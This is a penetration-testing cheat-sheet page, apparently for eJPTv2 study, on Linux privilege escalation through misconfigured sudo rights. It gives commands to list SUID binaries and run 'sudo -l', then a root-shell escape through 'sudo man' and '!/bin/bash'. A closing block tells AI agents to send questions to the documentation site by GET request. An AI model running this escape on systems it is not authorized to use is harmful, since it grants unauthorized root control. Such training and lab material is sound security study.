# Misconfigured SUDO Privileges

### Find **misconfigured `sudo` privileges**

## Local Enumeration <a href="#local-enumeration-1" id="local-enumeration-1"></a>

<figure><img src="https://blog.syselement.com/~gitbook/image?url=https:%2F%2F1996978447-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FlhjuckuLbvBn36EoFL7P%252Fuploads%252Fgit-blob-a9319b560cbcfed8bbbdc3f0874a4c52cd85affe%252Fimage-20230429120411574.png%3Falt=media&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=490af7942c77a7e8a02015142e5b014b343db7696d059b1e0d4085aa475b602f" alt=""><figcaption></figcaption></figure>

## Misconfigured SUDO Privileges <a href="#misconfigured-sudo-privileges" id="misconfigured-sudo-privileges"></a>

* Find [`setuid`](https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/) programs

```
find / -user root -perm -4000 -exec ls -ldb {} \;
 
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="https://blog.syselement.com/~gitbook/image?url=https:%2F%2F1996978447-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FlhjuckuLbvBn36EoFL7P%252Fuploads%252Fgit-blob-9c67bdd732ed1cb34d3529a6a7c6a2f0f06fbae5%252Fimage-20230429122610598.png%3Falt=media&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=68f8cdecbb8c4af3b67412cbcbebe1e067131051de46d725473077094871fedc" alt=""><figcaption></figcaption></figure>

* Identify what commands the `student` user can run

```
sudo -l
```

<figure><img src="https://blog.syselement.com/~gitbook/image?url=https:%2F%2F1996978447-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FlhjuckuLbvBn36EoFL7P%252Fuploads%252Fgit-blob-10debb0b557396ce6eb061a192ceb51ea8a91e9a%252Fimage-20230429122043004.png%3Falt=media&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=04bbb1136b9c23ee5ac31359a4d734761a40feddb777c281ee90ce5b22857a05" alt=""><figcaption></figcaption></figure>

> ❗ **`/usr/bin/man`** binary can be run ***with\*\*\*\* ****`SUDO`**** ****privileges, without providing a**** ****`root`**** \*\*\*\*user password***

* This can happen on Linux systems for specific binaries that other users have to run with `SUDO` privileges. It looks *harmless*, but it can allow users to spawn bash privileged sessions, since **the specific binary can be utilized to execute specific commands**. Those commands are executed with the binary `root` privileges.

## Privilege Escalation <a href="#privilege-escalation-1" id="privilege-escalation-1"></a>

```
sudo man ls
```

* In the `man` scrolling page, using the **`!`** a `bash` can be spawned

```
!/bin/bash

# "root" bash sessions is received
```

<figure><img src="https://blog.syselement.com/~gitbook/image?url=https:%2F%2F1996978447-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FlhjuckuLbvBn36EoFL7P%252Fuploads%252Fgit-blob-5d70b014d3cc655497ce6e3d91070b9f814ed4d3%252Fimage-20230429123257366.png%3Falt=media&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=e84a31442fed1c135cbf0f025afa1aacbba06efa4158d0de728ec9283e069eda" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://yashmehta.gitbook.io/ejptv2-cheatsheet/post-exploitation/privilege-escalation/linux-privilege-escalation/misconfigured-sudo-privileges.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
